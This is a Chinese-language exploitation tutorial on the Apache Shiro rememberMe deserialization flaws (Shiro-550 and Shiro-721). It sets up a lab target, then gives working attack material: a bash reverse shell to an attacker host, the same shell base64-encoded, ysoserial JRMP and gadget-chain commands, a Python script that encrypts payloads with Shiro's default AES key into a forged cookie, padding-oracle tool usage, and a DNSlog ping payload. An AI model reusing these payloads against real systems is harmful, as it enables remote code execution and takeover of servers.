1. 程式人生 > 實用技巧 >Shiro反序列化漏洞利用匯總(Shiro-550+Shiro-721)

Shiro反序列化漏洞利用匯總(Shiro-550+Shiro-721)

Apache Shiro是一個強大易用的Java安全框架,提供了認證、授權、加密和會話管理等功能。Shiro框架直觀、易用,同時也能提供健壯的安全性。

文章目錄:

  • 1、Shiro rememberMe反序列化漏洞(Shiro-550)
    • 1.1 漏洞原理
    • 1.2 影響版本
    • 1.3 漏洞特徵
    • 1.4 漏洞利用
      • 1.4.1 利用方式一
      • 1.4.2 利用方式二
  • 2、Shiro Padding Oracle Attack(Shiro-721)
    • 2.1 漏洞原理
    • 2.2 影響版本
    • 2.3 漏洞利用
  • 3、一鍵自動化漏洞利用
    • 3.1 Shiro-550
    • 3.2 Shiro-721

1、Shiro rememberMe反序列化漏洞(Shiro-550)

1.1 漏洞原理

Apache Shiro框架提供了記住密碼的功能(RememberMe),使用者登入成功後會生成經過加密並編碼的cookie。在服務端對rememberMe的cookie值,先base64解碼然後AES解密再反序列化,就導致了反序列化RCE漏洞。
那麼,Payload產生的過程:
命令=>序列化=>AES加密=>base64編碼=>RememberMe Cookie值
在整個漏洞利用過程中,比較重要的是AES加密的金鑰,如果沒有修改預設的金鑰那麼就很容易就知道金鑰了,Payload構造起來也是十分的簡單。

1.2 影響版本:Apache Shiro < 1.2.4

1.3 特徵判斷:返回包中包含rememberMe=deleteMe欄位。

1.4 漏洞利用

1.4.1 環境搭建

獲取docker映象
docker pull medicean/vulapps:s_shiro_1
啟動docker映象:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

1.4.2 工具準備

1、maven配置

sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz sudo mv apache-maven-3.6.3 /usr/local/maven3 在/etc/profile末尾新增maven環境變數: export M2_HOME=/usr/local/maven3 export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin source /etc/profile

2、下載ysoserial並打包

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

生成的工具在ysoserial/target檔案中。

1.4.3 漏洞利用

1、檢查是否存在預設的key。
這裡我們使用一個 Shiro_exploit,獲取key
Github專案地址:https://github.com/insightglacier/Shiro_exploit

python shiro_exploit.py -u http://192.168.172.129:8080

漏洞利用方式一:

1、製作反彈shell程式碼
監聽本地埠

nc -lvp 1234

Java Runtime 配合 bash 編碼,
線上編碼地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.172.133/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

2、通過ysoserial中JRMP監聽模組,監聽6666埠並執行反彈shell命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

3、使用shiro.py 生成Payload

python shiro.py 192.168.172.133:6666


shiro.py程式碼如下:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

4、構造資料包,偽造cookie,傳送Payload.



nc監聽埠,shell成功反彈:



java監聽介面,檢視伺服器連線情況:


漏洞利用方式二:
1、生成poc.ser檔案

sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

2、使用Shiro內建的預設金鑰對Payload進行加密:
java除錯:



除錯程式碼:

package shiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

3、傳送rememberMe Cookie,即可成功執行命令。

在目標伺服器/tmp目錄下,生成success檔案。

2、Shiro Padding Oracle Attack(Shiro-721)

漏洞原理:
由於Apache Shiro cookie中通過 AES-128-CBC 模式加密的rememberMe欄位存在問題,使用者可通過Padding Oracle 加密生成的攻擊程式碼來構造惡意的rememberMe欄位,並重新請求網站,進行反序列化攻擊,最終導致任意程式碼執行。
影響版本:Apache Shiro < 1.4.2版本。
漏洞利用:
1、登入Shiro網站,從cookie中獲得rememberMe欄位的值。

2、利用DNSlog探測,通過ysoserial工具payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class

3、使用rememberMe值作為prefix,載入Payload,進行Padding Oracle攻擊。
github專案地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用示例:

java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath


爆破成功,輸出Result:



4、使用構造的rememberMe攻擊字串重新請求網站

5、成功觸發Payload,在DNSLog獲取到目標IP。

3、一鍵自動化漏洞利用工具

ShiroExploit:支援對Shiro-550(硬編碼祕鑰)和Shiro-721(Padding Oracle)的一鍵化檢測,支援簡單回顯。
Github專案地址:https://github.com/feihong-cs/ShiroExploit

Shiro-550,只需輸入url,即可完成自動化檢測和漏洞利用。


Shiro-721,需輸入url,提供一個有效的rememberMe Cookie,並指定目標作業系統型別。